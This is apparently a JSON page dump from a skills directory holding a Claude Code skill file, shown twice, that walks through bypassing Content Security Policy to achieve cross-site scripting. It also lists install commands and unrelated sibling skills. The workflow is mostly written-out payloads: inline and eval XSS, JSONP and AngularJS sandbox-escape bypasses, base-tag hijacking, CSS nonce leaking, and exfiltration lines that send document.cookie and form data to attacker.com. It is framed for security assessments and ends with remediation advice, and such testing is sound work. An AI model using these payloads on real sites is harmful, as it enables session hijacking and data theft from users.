[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6EVRB0ZAD1NWAW6GS1TFKZS":3,"skill-same:01M6EVRB0ZAD1NWAW6GS1TFKZS":107},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":28,"publishedAt":49,"linkOnly":50,"markdownContent":51,"markdownBody":52,"frontMatter":53,"refName":68,"commitSha":69,"skillDirectory":70,"forksCount":14,"repositoryHtmlUrl":71,"repositoryHomepageUrl":72,"ownerHtmlUrl":73,"ownerBlogUrl":6,"ownerDescription":74,"updatedAt":75,"install":76,"resources":89},"01M6EVRB0ZAD1NWAW6GS1TFKZS","performing-content-security-policy-bypass",null,"Analyze and bypass Content Security Policy implementations to achieve cross-site scripting by exploiting misconfigurations, JSONP endpoints, unsafe directives, and policy injection techniques.","henriquescastilho\u002Fmy-claude","henriquescastilho","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153296945?v=4","01M6ESH7EXPXTH9CVQ4K16SRG8","Henrique Scheer","01M6ESH7JHEK2PTNNH4HEH787Z",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-content-security-policy-bypass\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":26,"taxonomyTypeDesc":27},"01JBSEEDCAT000000000000036","内容创作者","PROFESSION","适用职业",[29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48],"policy","security","content","performing content security policy bypass","de","007","cm","analyze","policy-misconfiguration","jsonp","nonce-bypass","script-injection","content-security-policy","csp-bypass","t1505","xss","injection","web-application-security","pr","cybersecurity","2026-11-10 10:12:30",false,"---\nname: performing-content-security-policy-bypass\ndescription: Analyze and bypass Content Security Policy implementations to achieve\n  cross-site scripting by exploiting misconfigurations, JSONP endpoints, unsafe directives,\n  and policy injection techniques.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- csp-bypass\n- content-security-policy\n- xss\n- script-injection\n- nonce-bypass\n- jsonp\n- policy-misconfiguration\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Performing Content Security Policy Bypass\n\n## When to Use\n- When XSS is found but execution is blocked by Content Security Policy\n- During web application security assessments to evaluate CSP effectiveness\n- When testing the robustness of CSP against known bypass techniques\n- During bug bounty hunting where CSP prevents direct XSS exploitation\n- When auditing CSP header configuration for security weaknesses\n\n## Prerequisites\n- Burp Suite for intercepting responses and analyzing CSP headers\n- CSP Evaluator (Google) for automated policy analysis\n- Understanding of CSP directives (script-src, default-src, style-src, etc.)\n- Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)\n- Browser developer tools for CSP violation monitoring\n- Collection of whitelisted domain JSONP endpoints\n\n## Workflow\n\n### Step 1 — Analyze the CSP Policy\n```bash\n# Extract CSP from response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -i \"content-security-policy\"\n\n# Check for CSP in meta tags\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"content-security-policy\"\n\n# Analyze CSP with Google CSP Evaluator\n# Visit: https:\u002F\u002Fcsp-evaluator.withgoogle.com\u002F\n# Paste the CSP policy for automated analysis\n\n# Check for report-only mode (not enforced)\ncurl -sI http:\u002F\u002Ftarget.com | grep -i \"content-security-policy-report-only\"\n# If only report-only exists, CSP is NOT enforced - XSS works directly\n\n# Parse directive values\n# Example CSP:\n# script-src 'self' 'unsafe-inline' https:\u002F\u002Fcdn.example.com;\n# default-src 'self'; style-src 'self' 'unsafe-inline';\n# img-src *; connect-src 'self'\n```\n\n### Step 2 — Exploit unsafe-inline and unsafe-eval\n```bash\n# If script-src includes 'unsafe-inline':\n# CSP is effectively bypassed for inline scripts\n\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\u003Cimg src=x onerror=\"alert(1)\">\n\n# If script-src includes 'unsafe-eval':\n# eval() and related functions work\n\u003Cscript>eval('alert(1)')\u003C\u002Fscript>\n\u003Cscript>setTimeout('alert(1)',0)\u003C\u002Fscript>\n\u003Cscript>new Function('alert(1)')()\u003C\u002Fscript>\n\n# If 'unsafe-inline' with nonce:\n# unsafe-inline is ignored when nonce is present (CSP3)\n# Focus on nonce leaking instead\n```\n\n### Step 3 — Exploit Whitelisted Domain JSONP Endpoints\n```bash\n# If CSP whitelists a domain with JSONP endpoints:\n# script-src 'self' https:\u002F\u002Faccounts.google.com\n\n# Find JSONP endpoints on whitelisted domains\n# Google:\n\u003Cscript src=\"https:\u002F\u002Faccounts.google.com\u002Fo\u002Foauth2\u002Frevoke?callback=alert(1)\">\u003C\u002Fscript>\n\n# Common JSONP endpoints:\n# https:\u002F\u002Fwww.google.com\u002Fcomplete\u002Fsearch?client=chrome&q=test&callback=alert(1)\u002F\u002F\n# https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\n\n# If AngularJS is whitelisted (CDN):\n# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com\n\u003Cscript src=\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\">\u003C\u002Fscript>\n\u003Cdiv ng-app ng-csp>{{$eval.constructor('alert(1)')()}}\u003C\u002Fdiv>\n\n# Exploit JSONP on whitelisted APIs\n\u003Cscript src=\"https:\u002F\u002Fwhitelisted-api.com\u002Fendpoint?callback=alert(1)\u002F\u002F\">\n\u003C\u002Fscript>\n```\n\n### Step 4 — Exploit base-uri and Form Action Bypasses\n```bash\n# If base-uri is not restricted:\n# Inject \u003Cbase> tag to redirect relative script loads\n\u003Cbase href=\"https:\u002F\u002Fattacker.com\u002F\">\n# All relative script src will load from attacker.com\n\n# If form-action is not restricted:\n# Steal data via form submission\n\u003Cform action=\"https:\u002F\u002Fattacker.com\u002Fsteal\" method=\"POST\">\n  \u003Cinput name=\"csrf_token\" value=\"\">\n\u003C\u002Fform>\n\u003Cscript>document.forms[0].submit()\u003C\u002Fscript>\n\n# If object-src is not restricted:\n# Use Flash or plugin-based XSS\n\u003Cobject data=\"https:\u002F\u002Fattacker.com\u002Fexploit.swf\">\u003C\u002Fobject>\n\u003Cembed src=\"https:\u002F\u002Fattacker.com\u002Fexploit.swf\">\n```\n\n### Step 5 — Exploit Nonce and Hash Bypasses\n```bash\n# Nonce leaking via CSS attribute selectors\n# If attacker can inject HTML (but not script due to CSP nonce):\n\u003Cstyle>\n  script[nonce^=\"a\"] { background: url(\"https:\u002F\u002Fattacker.com\u002Fleak?nonce=a\"); }\n  script[nonce^=\"b\"] { background: url(\"https:\u002F\u002Fattacker.com\u002Fleak?nonce=b\"); }\n\u003C\u002Fstyle>\n# Brute-force each character position to leak the nonce\n\n# Nonce reuse detection\n# If the same nonce is used across multiple pages or requests:\n# Capture nonce from one page, use it to inject script on another\n\n# DOM clobbering to override nonce checking\n\u003Cform id=\"csp\">\u003Cinput name=\"nonce\" value=\"attacker-controlled\">\u003C\u002Fform>\n\n# Script gadgets in whitelisted libraries\n# If a whitelisted JS library has a gadget that creates scripts:\n# jQuery: $.getScript(), $.globalEval()\n# Lodash: _.template()\n# DOMPurify bypass via prototype pollution\n\n# Policy injection via reflected parameters\n# If CSP header reflects user input:\n# Inject: ;script-src 'unsafe-inline'\n# Or inject: ;report-uri \u002Fcsp-report;script-src-elem 'unsafe-inline'\n```\n\n### Step 6 — Exploit Data Exfiltration Without script-src\n```bash\n# Even without script execution, data exfiltration is possible:\n\n# Via img-src (if allows external):\n\u003Cimg src=\"https:\u002F\u002Fattacker.com\u002Fsteal?data=SENSITIVE_DATA\">\n\n# Via CSS injection (if style-src allows unsafe-inline):\n\u003Cstyle>\ninput[value^=\"a\"] { background: url(\"https:\u002F\u002Fattacker.com\u002F?char=a\"); }\ninput[value^=\"b\"] { background: url(\"https:\u002F\u002Fattacker.com\u002F?char=b\"); }\n\u003C\u002Fstyle>\n\n# Via connect-src (if allows external):\n\u003Cscript nonce=\"valid\">\n  fetch('https:\u002F\u002Fattacker.com\u002Fsteal?data=' + document.cookie);\n\u003C\u002Fscript>\n\n# Via DNS prefetch:\n\u003Clink rel=\"dns-prefetch\" href=\"\u002F\u002Fdata.attacker.com\">\n\n# Via WebRTC (if not blocked):\n# WebRTC can leak data through STUN\u002FTURN servers\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| unsafe-inline | CSP directive allowing inline script execution, defeating XSS protection |\n| Nonce-based CSP | Using random nonces to allow specific scripts while blocking injected ones |\n| JSONP Bypass | Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks |\n| Policy Injection | Injecting CSP directives through reflected user input in headers |\n| base-uri Hijacking | Redirecting relative script loads by injecting a base element |\n| Script Gadgets | Legitimate library features that can be abused to bypass CSP |\n| CSP Report-Only | Non-enforcing CSP mode that only logs violations without blocking |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| CSP Evaluator | Google tool for analyzing CSP policy weaknesses |\n| Burp Suite | HTTP proxy for CSP header analysis and bypass testing |\n| CSP Scanner | Browser extension for identifying CSP bypass opportunities |\n| csp-bypass | Curated list of CSP bypass techniques and payloads |\n| RetireJS | Identify vulnerable JavaScript libraries on whitelisted CDNs |\n| DOM Invader | Burp tool for testing CSP bypasses through DOM manipulation |\n\n## Common Scenarios\n\n1. **JSONP Callback XSS** — Exploit JSONP endpoints on whitelisted CDN domains to execute JavaScript callbacks containing XSS payloads\n2. **AngularJS Sandbox Escape** — Load AngularJS from whitelisted CDN and use template injection to bypass CSP script restrictions\n3. **Nonce Leakage** — Extract CSP nonce values through CSS injection or DOM clobbering to inject scripts with valid nonces\n4. **Base URI Hijacking** — Inject base element to redirect all relative script loads to attacker-controlled server\n5. **Report-Only Exploitation** — Identify CSP in report-only mode where violations are logged but not blocked, enabling direct XSS\n\n## Output Format\n\n```\n## CSP Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **CSP Mode**: Enforced\n- **Policy**: script-src 'self' https:\u002F\u002Fcdn.jsdelivr.net; default-src 'self'\n\n### CSP Analysis\n| Directive | Value | Risk |\n|-----------|-------|------|\n| script-src | 'self' cdn.jsdelivr.net | JSONP\u002FLibrary bypass possible |\n| default-src | 'self' | Moderate |\n| base-uri | Not set | base-uri hijacking possible |\n| object-src | Not set (falls back to default-src) | Low |\n\n### Bypass Techniques Found\n| # | Technique | Payload | Impact |\n|---|-----------|---------|--------|\n| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |\n| 2 | Missing base-uri | \u003Cbase href=\"https:\u002F\u002Fevil.com\u002F\"> | Script hijack |\n\n### Remediation\n- Remove whitelisted CDN domains; use nonce-based or hash-based CSP\n- Add base-uri 'self' to prevent base element injection\n- Add object-src 'none' to block plugin-based execution\n- Migrate from unsafe-inline to strict nonce-based policy\n- Implement strict-dynamic for modern CSP3 browsers\n```\n","# Performing Content Security Policy Bypass\n\n## When to Use\n- When XSS is found but execution is blocked by Content Security Policy\n- During web application security assessments to evaluate CSP effectiveness\n- When testing the robustness of CSP against known bypass techniques\n- During bug bounty hunting where CSP prevents direct XSS exploitation\n- When auditing CSP header configuration for security weaknesses\n\n## Prerequisites\n- Burp Suite for intercepting responses and analyzing CSP headers\n- CSP Evaluator (Google) for automated policy analysis\n- Understanding of CSP directives (script-src, default-src, style-src, etc.)\n- Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)\n- Browser developer tools for CSP violation monitoring\n- Collection of whitelisted domain JSONP endpoints\n\n## Workflow\n\n### Step 1 — Analyze the CSP Policy\n```bash\n# Extract CSP from response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -i \"content-security-policy\"\n\n# Check for CSP in meta tags\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"content-security-policy\"\n\n# Analyze CSP with Google CSP Evaluator\n# Visit: https:\u002F\u002Fcsp-evaluator.withgoogle.com\u002F\n# Paste the CSP policy for automated analysis\n\n# Check for report-only mode (not enforced)\ncurl -sI http:\u002F\u002Ftarget.com | grep -i \"content-security-policy-report-only\"\n# If only report-only exists, CSP is NOT enforced - XSS works directly\n\n# Parse directive values\n# Example CSP:\n# script-src 'self' 'unsafe-inline' https:\u002F\u002Fcdn.example.com;\n# default-src 'self'; style-src 'self' 'unsafe-inline';\n# img-src *; connect-src 'self'\n```\n\n### Step 2 — Exploit unsafe-inline and unsafe-eval\n```bash\n# If script-src includes 'unsafe-inline':\n# CSP is effectively bypassed for inline scripts\n\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\u003Cimg src=x onerror=\"alert(1)\">\n\n# If script-src includes 'unsafe-eval':\n# eval() and related functions work\n\u003Cscript>eval('alert(1)')\u003C\u002Fscript>\n\u003Cscript>setTimeout('alert(1)',0)\u003C\u002Fscript>\n\u003Cscript>new Function('alert(1)')()\u003C\u002Fscript>\n\n# If 'unsafe-inline' with nonce:\n# unsafe-inline is ignored when nonce is present (CSP3)\n# Focus on nonce leaking instead\n```\n\n### Step 3 — Exploit Whitelisted Domain JSONP Endpoints\n```bash\n# If CSP whitelists a domain with JSONP endpoints:\n# script-src 'self' https:\u002F\u002Faccounts.google.com\n\n# Find JSONP endpoints on whitelisted domains\n# Google:\n\u003Cscript src=\"https:\u002F\u002Faccounts.google.com\u002Fo\u002Foauth2\u002Frevoke?callback=alert(1)\">\u003C\u002Fscript>\n\n# Common JSONP endpoints:\n# https:\u002F\u002Fwww.google.com\u002Fcomplete\u002Fsearch?client=chrome&q=test&callback=alert(1)\u002F\u002F\n# https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\n\n# If AngularJS is whitelisted (CDN):\n# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com\n\u003Cscript src=\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\">\u003C\u002Fscript>\n\u003Cdiv ng-app ng-csp>{{$eval.constructor('alert(1)')()}}\u003C\u002Fdiv>\n\n# Exploit JSONP on whitelisted APIs\n\u003Cscript src=\"https:\u002F\u002Fwhitelisted-api.com\u002Fendpoint?callback=alert(1)\u002F\u002F\">\n\u003C\u002Fscript>\n```\n\n### Step 4 — Exploit base-uri and Form Action Bypasses\n```bash\n# If base-uri is not restricted:\n# Inject \u003Cbase> tag to redirect relative script loads\n\u003Cbase href=\"https:\u002F\u002Fattacker.com\u002F\">\n# All relative script src will load from attacker.com\n\n# If form-action is not restricted:\n# Steal data via form submission\n\u003Cform action=\"https:\u002F\u002Fattacker.com\u002Fsteal\" method=\"POST\">\n  \u003Cinput name=\"csrf_token\" value=\"\">\n\u003C\u002Fform>\n\u003Cscript>document.forms[0].submit()\u003C\u002Fscript>\n\n# If object-src is not restricted:\n# Use Flash or plugin-based XSS\n\u003Cobject data=\"https:\u002F\u002Fattacker.com\u002Fexploit.swf\">\u003C\u002Fobject>\n\u003Cembed src=\"https:\u002F\u002Fattacker.com\u002Fexploit.swf\">\n```\n\n### Step 5 — Exploit Nonce and Hash Bypasses\n```bash\n# Nonce leaking via CSS attribute selectors\n# If attacker can inject HTML (but not script due to CSP nonce):\n\u003Cstyle>\n  script[nonce^=\"a\"] { background: url(\"https:\u002F\u002Fattacker.com\u002Fleak?nonce=a\"); }\n  script[nonce^=\"b\"] { background: url(\"https:\u002F\u002Fattacker.com\u002Fleak?nonce=b\"); }\n\u003C\u002Fstyle>\n# Brute-force each character position to leak the nonce\n\n# Nonce reuse detection\n# If the same nonce is used across multiple pages or requests:\n# Capture nonce from one page, use it to inject script on another\n\n# DOM clobbering to override nonce checking\n\u003Cform id=\"csp\">\u003Cinput name=\"nonce\" value=\"attacker-controlled\">\u003C\u002Fform>\n\n# Script gadgets in whitelisted libraries\n# If a whitelisted JS library has a gadget that creates scripts:\n# jQuery: $.getScript(), $.globalEval()\n# Lodash: _.template()\n# DOMPurify bypass via prototype pollution\n\n# Policy injection via reflected parameters\n# If CSP header reflects user input:\n# Inject: ;script-src 'unsafe-inline'\n# Or inject: ;report-uri \u002Fcsp-report;script-src-elem 'unsafe-inline'\n```\n\n### Step 6 — Exploit Data Exfiltration Without script-src\n```bash\n# Even without script execution, data exfiltration is possible:\n\n# Via img-src (if allows external):\n\u003Cimg src=\"https:\u002F\u002Fattacker.com\u002Fsteal?data=SENSITIVE_DATA\">\n\n# Via CSS injection (if style-src allows unsafe-inline):\n\u003Cstyle>\ninput[value^=\"a\"] { background: url(\"https:\u002F\u002Fattacker.com\u002F?char=a\"); }\ninput[value^=\"b\"] { background: url(\"https:\u002F\u002Fattacker.com\u002F?char=b\"); }\n\u003C\u002Fstyle>\n\n# Via connect-src (if allows external):\n\u003Cscript nonce=\"valid\">\n  fetch('https:\u002F\u002Fattacker.com\u002Fsteal?data=' + document.cookie);\n\u003C\u002Fscript>\n\n# Via DNS prefetch:\n\u003Clink rel=\"dns-prefetch\" href=\"\u002F\u002Fdata.attacker.com\">\n\n# Via WebRTC (if not blocked):\n# WebRTC can leak data through STUN\u002FTURN servers\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| unsafe-inline | CSP directive allowing inline script execution, defeating XSS protection |\n| Nonce-based CSP | Using random nonces to allow specific scripts while blocking injected ones |\n| JSONP Bypass | Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks |\n| Policy Injection | Injecting CSP directives through reflected user input in headers |\n| base-uri Hijacking | Redirecting relative script loads by injecting a base element |\n| Script Gadgets | Legitimate library features that can be abused to bypass CSP |\n| CSP Report-Only | Non-enforcing CSP mode that only logs violations without blocking |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| CSP Evaluator | Google tool for analyzing CSP policy weaknesses |\n| Burp Suite | HTTP proxy for CSP header analysis and bypass testing |\n| CSP Scanner | Browser extension for identifying CSP bypass opportunities |\n| csp-bypass | Curated list of CSP bypass techniques and payloads |\n| RetireJS | Identify vulnerable JavaScript libraries on whitelisted CDNs |\n| DOM Invader | Burp tool for testing CSP bypasses through DOM manipulation |\n\n## Common Scenarios\n\n1. **JSONP Callback XSS** — Exploit JSONP endpoints on whitelisted CDN domains to execute JavaScript callbacks containing XSS payloads\n2. **AngularJS Sandbox Escape** — Load AngularJS from whitelisted CDN and use template injection to bypass CSP script restrictions\n3. **Nonce Leakage** — Extract CSP nonce values through CSS injection or DOM clobbering to inject scripts with valid nonces\n4. **Base URI Hijacking** — Inject base element to redirect all relative script loads to attacker-controlled server\n5. **Report-Only Exploitation** — Identify CSP in report-only mode where violations are logged but not blocked, enabling direct XSS\n\n## Output Format\n\n```\n## CSP Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **CSP Mode**: Enforced\n- **Policy**: script-src 'self' https:\u002F\u002Fcdn.jsdelivr.net; default-src 'self'\n\n### CSP Analysis\n| Directive | Value | Risk |\n|-----------|-------|------|\n| script-src | 'self' cdn.jsdelivr.net | JSONP\u002FLibrary bypass possible |\n| default-src | 'self' | Moderate |\n| base-uri | Not set | base-uri hijacking possible |\n| object-src | Not set (falls back to default-src) | Low |\n\n### Bypass Techniques Found\n| # | Technique | Payload | Impact |\n|---|-----------|---------|--------|\n| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |\n| 2 | Missing base-uri | \u003Cbase href=\"https:\u002F\u002Fevil.com\u002F\"> | Script hijack |\n\n### Remediation\n- Remove whitelisted CDN domains; use nonce-based or hash-based CSP\n- Add base-uri 'self' to prevent base element injection\n- Add object-src 'none' to block plugin-based execution\n- Migrate from unsafe-inline to strict nonce-based policy\n- Implement strict-dynamic for modern CSP3 browsers\n```\n",{"name":5,"tags":54,"author":55,"domain":48,"license":15,"version":56,"nist_csf":57,"subdomain":46,"description":7,"mitre_attack":62},[42,41,44,40,39,38,37],"mahipal","1.0",[58,59,60,61],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[63,64,65,66,67],"T1190","T1059.007","T1505.003","T1083","T1055","main","7925716f065257435fdb12e97f7e52842147d5ad",".claude\u002Fskills\u002Fperforming-content-security-policy-bypass","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude","https:\u002F\u002Fclaude.com\u002Fclaude-code","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho","Software · Applied AI · Quantitative Modeling · Building with Claude.","2026-06-10 12:24:46",{"source":8,"skillName":5,"commands":77,"prompt":87,"zipAvailable":88},[78,81,84],{"tool":79,"command":80},"npx","npx skills add henriquescastilho\u002Fmy-claude --skill performing-content-security-policy-bypass",{"tool":82,"command":83},"bunx","bunx skills add henriquescastilho\u002Fmy-claude --skill performing-content-security-policy-bypass",{"tool":85,"command":86},"pnpm","pnpm dlx skills add henriquescastilho\u002Fmy-claude --skill performing-content-security-policy-bypass","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-content-security-policy-bypass\u002FSKILL.md",true,[90,95,101],{"path":91,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-content-security-policy-bypass\u002FLICENSE",{"path":96,"resourceType":97,"resourceTypeDesc":98,"sizeBytes":99,"sourceHtmlUrl":100},"references\u002Fapi-reference.md","REFERENCE","参考文档",6611,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-content-security-policy-bypass\u002Freferences\u002Fapi-reference.md",{"path":102,"resourceType":103,"resourceTypeDesc":104,"sizeBytes":105,"sourceHtmlUrl":106},"scripts\u002Fagent.py","SCRIPT","脚本",11240,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-content-security-policy-bypass\u002Fscripts\u002Fagent.py",[108,147,156,165,187,213],{"skillNo":109,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":112,"licenseFileUrl":6,"sourceHtmlUrl":113,"categories":114,"keywords":127,"publishedAt":49},"01M6F0B6XPQ65AX2X0DWK8KT3E","markitdown","Convert files and office documents to Markdown. Supports PDF, DOCX, PPTX, XLSX, images (with OCR), audio (with transcription), HTML, CSV, JSON, XML, ZIP, YouTube URLs, EPubs and more.","MIT","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[115,118,121,124],{"categoryNo":116,"categoryName":117,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理",{"categoryNo":119,"categoryName":120,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":122,"categoryName":123,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000004","电子表格",{"categoryNo":125,"categoryName":126,"taxonomyType":26,"taxonomyTypeDesc":27},"01JBSEEDCAT000000000000034","行政与办公人员",[110,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146],"docx","PDF","pptx","xlsx","documents","csv","ocr","Audio","Bash","markdown","convert","read","write","edit","html","images","files","youtube","with",{"skillNo":148,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":112,"licenseFileUrl":6,"sourceHtmlUrl":149,"categories":150,"keywords":155,"publishedAt":49},"01M6F06SBHR9F0SDWE282Y8075","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fscientific_writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[151,152,153,154],{"categoryNo":116,"categoryName":117,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":119,"categoryName":120,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":122,"categoryName":123,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":125,"categoryName":126,"taxonomyType":26,"taxonomyTypeDesc":27},[110,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146],{"skillNo":157,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":112,"licenseFileUrl":6,"sourceHtmlUrl":158,"categories":159,"keywords":164,"publishedAt":49},"01M6F02D4R14EJAPBWVDF9J9VQ","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[160,161,162,163],{"categoryNo":116,"categoryName":117,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":119,"categoryName":120,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":122,"categoryName":123,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":125,"categoryName":126,"taxonomyType":26,"taxonomyTypeDesc":27},[110,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146],{"skillNo":166,"name":167,"nameZh":6,"description":168,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":112,"licenseFileUrl":6,"sourceHtmlUrl":169,"categories":170,"keywords":171,"publishedAt":49},"01M6F000KS6YB4MKS774G4R8ND","zarr-python","Chunked N-D arrays for cloud storage. Compressed arrays, parallel I\u002FO, S3\u002FGCS integration, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fzarr-python\u002FSKILL.md",[],[172,173,174,175,176,177,178,179,180,181,182,183,184,185,186],"python","zarr python","storage","integration","s3","gcs","cloud","dask","parallel","pipelines","arrays","numpy","scientific computing","scale","scientific",{"skillNo":188,"name":189,"nameZh":6,"description":190,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":112,"licenseFileUrl":6,"sourceHtmlUrl":191,"categories":192,"keywords":194,"publishedAt":49},"01M6EZZJWFXM1GR78KTW6J0DN8","what-if-oracle","Run structured What-If scenario analysis with multi-branch possibility exploration. Use this skill when the user asks speculative questions like \"what if...\", \"what would happen if...\", \"what are the possibilities\", \"explore scenarios\", \"scenario analysis\", \"possibility space\", \"what could go wrong\", \"best case \u002F worst case\", \"risk analysis\", \"contingency planning\", \"strategic options\", or any question about uncertain futures. Also trigger when the user faces a fork-in-the-road decision, wants to stress-test an idea, or needs to think through consequences before committing.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fwhat-if-oracle\u002FSKILL.md",[193],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[195,196,197,198,199,200,201,202,203,204,205,139,140,206,207,208,209,210,211,212],"oracle","what if oracle","go","run","ux","futures","analysis","explore","decision","branch","question","idea","exploration","options","stress-test","strategies","scenario","stress",{"skillNo":214,"name":215,"nameZh":6,"description":216,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":112,"licenseFileUrl":6,"sourceHtmlUrl":217,"categories":218,"keywords":227,"publishedAt":49},"01M6EZZCXAEB49RXGQCJX5E8GB","venue-templates","Access comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing 